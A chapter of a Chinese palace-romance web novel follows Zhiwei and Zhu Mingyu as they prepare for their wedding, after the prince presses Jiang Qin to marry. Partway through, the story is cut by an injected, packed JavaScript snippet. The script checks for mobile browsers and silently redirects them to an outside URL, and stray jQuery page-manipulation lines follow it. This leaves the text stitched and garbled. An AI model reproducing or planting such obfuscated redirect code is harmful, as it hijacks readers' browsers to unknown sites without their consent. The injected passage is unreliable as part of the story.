江覃作为江家唯一的男丁,自然有义务延续血脉。说来也是,江覃同祝隶稷一般大,如今而立之年,身边连半个姬妾也没有。
江父自然是不愿看到这种情景。明里暗里透过各种方式向祝隶稷递话,希望能帮江覃撮合一段缘。
眼下无事,祝隶稷提了几嘴,列出了几个合适的对象:“庄家的女儿温婉,李家的女儿权重,蒋家的女儿对你痴心,依我看,都是不错的人选。”
“男子成家立业,娶个女人打理后宅、生儿育女求的不过轻松二字,倒也不必强求那女子有什么才华,温婉贤惠、安分守己即可。”
“毕竟,自古婚姻大事无外乎情利二字。”祝隶稷顿足,“你也老大不小,这些人中可有心仪的人选?我帮你请旨即可。”
话都到这份上,言语虽恶臭,但也是十足十的真心。
知微默默偷觑江覃的反应。
要她来选,定是蒋家的女儿。
婚姻大事的权力牵扯她弄不清,唯有真心二字合她心意。若是再细致些,倘若无法两情相悦,找个喜欢自己的,定要比自己喜欢的要幸福。
江覃没接祝隶稷的话,打了哈哈,将话题扯回政论祝隶稷固执不肯,又从将话题引回。
知微与祝明煜见两人踢毽子般你偏我正,气氛是旁人融不尽的诙谐,倒是找不着时候插语。
她又无聊到眼皮耷拉,江覃似是也终是受不了,竟然扯到祝隶稷的后院中去。
“前些日子的朝会,有不少大臣谏言,希望太子殿下开枝散叶。”江覃淡淡道。
江覃:“此事,太子妃可知晓?”
知微突然便不困了。
祝隶稷敛回调笑放松的嘴角:“时候未到。”
“那些人心底的算盘真当我不知道,什么‘开枝散叶’,不过是想留下自家血脉,将来好掌握朝局罢了。”
祝隶稷眸色一暗:“说什么温柔乡,女人带来的只会是一阵又一阵的耳旁风,孤对这种庸俗没有兴趣。”
“那晟儿呢,万一他将来并无明君潜质,又该当如何?”知微听着二人说话,无端想起祝晟为功课苦恼皱巴的神情,若要他将来挑上国君的大梁,属实是万分残忍。
知微下意识脱口而问,歪打正着的犀利。一时惊着众人。
“无明君潜质?”祝隶稷复述知微的话,忽而勾起冷笑,“无潜质又如何,鸟儿高飞,必经万次振翅,驽马十驾,功在锲而不舍。”
“若是他有成为君王的心,少不得自我磨砺。”祝隶稷语气冰冷,仿佛口中之人不是自己的血脉,只是一个死气的物件。
知微不由地汗颜。
祝隶稷走在前头,继续自顾道:“但若他连自我磨砺的能力都没有,那又是另一条路了。”
“国家需要贤明的君王,这是亘古不变的理。”
“只要有为,坐在太子之位的人,孤不介意,他从谁的腹中爬出。”
祝隶稷扫过知微,警告她方才的失言。
知微不敢再说话,悻悻偏过头,躲在祝明煜身后。
……
“知微姑娘,静芳苑可是还在前头。”又走了好一段距离,江覃打破冷局。
他手上还拎着自朝贡带回的礼品,想来是打算送到静芳苑。
江覃礼仪周到,知微也不想再驳她面,和祝明煜交换眼色后,她忙点头,道:“静芳苑要往前边拐角的右边处走,大人若是不介意,我请您到里边喝一盏茶吧。”
“如此,便……”麻烦二字尚未脱口,祝隶稷刮来一阵眼风,“还有朝政未议。”
“尚书房在拐角处左边。”祝隶稷道。
一左一右,两个相反的方向,江覃不过一双腿,抉择只在拐角。
滞了片刻,江覃微俯下身。
“多谢姑娘好意。”他歉意道。
四人就此作别。
江覃随祝隶稷左拐,知微二人向右。
——
几日后,静芳苑。
窗棂漏进半缕晨光,打在红木小桌。五色祥云暗纹式样的明黄色卷轴摊在桌面,婚书红印覆字。
知微“啪”地一声将一本厚厚的账册拍在桌上,震得旁边针线簸箩里的彩线都跳了跳。
“御膳房那群人最近是魔怔了不成?”知微叉腰,冲着坐在窗边软榻上的祝明煜抱怨,“说什么要精益求精,磨砺技艺。
“做个梅花糕,非得将上等莲子碾碎了筛三遍,筛下来的渣滓比用的粉还多!炖个鸡汤也是,撇浮沫撇得恨不得把油花都撇没了,清汤寡水,喝个什么劲儿?”
手中的算盘飞快拨弄,现出一个扎眼的数字。
知微把住算盘,抵住到祝明煜胸前:“半个月,仅仅半个月就花了从前一个月都用不完的花销。”
前些日子只顾着教育御膳房那群人提高质量了,结果成本噌噌上涨,纵然知道是皇家买单,可说到底,可以节流的浪费便是毫无意义。
知微挤开祝明煜的半个屁股墩,向后一倒。
“不光是原材料,连柴米油盐酱醋茶的购买量都远远大于过去,照这样下去,金山银山也经不起这么折腾。”知微哐当坐下,一只脚抬起,“我真得和他们好好说道说道。”
“是要好好说道说道。”祝明煜点头,眼神却往下。他的大手正捏着一根细小的绣花针,试图摆弄着手中那一方正红色的绸缎,显出反差的笨拙。
红绸上,一只金线勾勒的凤凰已初见雏形,只是那姿态……嗯,略显雄壮,尾羽也短促了些,乍一看,倒有几分像斗志昂扬的公鸡。
知微没得到想要的反应,“鸡”也不堪入目,自觉受了冷落,拍开祝明煜的手。
“听我说话啊!”绵绵一拳砸下去。
祝明煜张大嘴,夸张地向后仰:“哪没听你说话。”
知微:“我要你给点反应懂不懂?”
祝明煜委屈:“这又绣盖头又和你搭语,偶尔的失神也不可避免啊。”
“喏,我这不是忙着呢。”祝明煜推红盖头到知微面前,那只不成形的山鸡着实难以入眼。
知微偏头躲开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291573|178576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“可饶了我吧。”她道。
二人婚期将至,祝明煜手中的,正是成婚时需要的红盖头。
成婚的圣旨下来后,很快进入了筹备。大昭婚嫁的习俗繁琐,别的可以由他人代劳,只新嫁娘在出嫁时亲手绣一顶盖头的习俗需要亲自践行。
知微做饭还行,其他手工活也不算糟。唯有这些精细活是一点也碰不得。
一碰手都在发颤,压根拿不稳针。
祝明煜心疼她,打算自己代缝,知微也不想他因一个大男人做手工而被闲言笑话,每每叫他入宫后来静芳苑,在无旁人的地方动作。
知微凑近了盖头,伸出指尖,轻轻戳了戳那“凤凰”的脑袋:“祝大将军,你这凤凰的尾巴是不是短了点?”
“看着跟斗鸡似的。”晏尚宫锐评。
祝明煜的脸一下红了,连耳根都染上了绯色。
他有些窘迫地缩了缩手,小声嘟囔:“你又笑话我,要不你来?”
祝明煜塞盖头给知微,知微赶忙摆手:“我这不是也忙着嘛!”
她顺势就坐到了祝明煜腿上,双手揪住他胸前的衣襟,轻轻摇晃,声音拖长了调子,带着她自己都没察觉的娇憨:“成亲那么多事儿,婚服挑选、上下打点……我又不是三头六臂。再说了,这种精细活儿,不就得靠你嘛!”
“我们家明煜最厉害了,文武双全,连绣花都会!”知微一双丹凤闪烁,“求求你,求求你了嘛,你就帮我把盖头绣掉,嗯?”
“才不吃你这套。”祝明煜被她看得心尖发烫,又想起自己的原则,别过头来。
院子里,少昭正蹲在墙角,用一根狗尾巴草逗弄着一只毛茸茸的小野猫。草尖轻晃,小猫扑腾跳跃,发出细嫩的“喵呜”声。
屋里,知微看着生生着闷气的祝明煜,眼珠一转。
她捻起果盘里一颗水灵灵的紫葡萄。俯下身前倾,将葡萄在祝明煜眼前晃了晃,然后轻轻抵在他紧抿的唇上。
“错了错了,张嘴嘛。”她的声音带着点诱哄的意味。
祝明煜眼皮都没抬,闷闷地哼了一声,一口叼走葡萄。
“乖乖。”知微摸着祝明煜的头,其实她也不想总是泼祝明煜冷水,可祝明煜脾气好到没有下限,她总会不自觉挑逗,一不小心便过了火,又得哄人。
祝明煜咽下葡萄,声音依旧闷闷的。知微心里有愧,看他委屈巴巴的样子,心立马软了下来。
她凑到他耳边,压低声音,带着一丝神秘:“别生气了,带你去个好地方,保管你心情立马变好,怎么样?”
祝明煜的耳朵动了动,抬起了眼皮,疑惑又带着点期待,装模作样咳了咳。
“……去哪?”他破音道。
“都说了是好地方。”知微刮了下祝明煜的鼻尖,选择保持神秘,“晚上你去御膳房找我,我给你留了惊喜——不过得等巡城结束再去,可别让人瞧出破绽。”
祝明煜连连点头。
可保有期待是有代价的。好比接下来的一整天,祝明煜都魂不守舍。